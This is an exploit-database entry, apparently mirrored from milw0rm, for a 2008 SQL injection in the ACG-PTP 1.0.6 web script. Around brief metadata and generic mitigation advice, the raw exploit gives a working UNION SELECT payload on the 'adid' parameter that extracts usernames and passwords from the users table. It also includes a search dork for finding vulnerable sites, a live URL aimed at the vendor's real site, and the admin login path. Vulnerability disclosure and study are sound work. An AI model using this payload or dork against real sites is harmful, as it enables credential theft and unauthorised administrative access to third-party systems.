ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerability

vendor:

ACG-PTP

by:

Hussin X

CVSS

HIGH

SQL Injection

CWE

Product Name: ACG-PTP

Affected Version From: 1.0.6

Affected Version To: 1.0.6

Patch Exists: NO

Related CWE: N/A

CPE: a:discountedscripts:acg-ptp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerability

An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL statements to the vulnerable application. This can allow the attacker to gain access to the application's database and potentially gain access to sensitive information.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

|___________________________________________________|
|
| ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home : WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=65
|
| DorK   : inurl:index.php?menu=adorder
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?menu=adorder&adid=-3+union+select+null,null,concat_ws(0x3a,username,password),null+From+users--






L!VE DEMO:
_________


http://www.discountedscripts.com/demos/acg-ptp/index.php?menu=adorder&adid=-3+union+select+null,null,concat_ws(0x3a,username,password),null+From+users--


____________

Admin Login :

www.[target].com/Script/admin/

____________




____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________




                             Im IRAQi

# milw0rm.com [2008-09-04]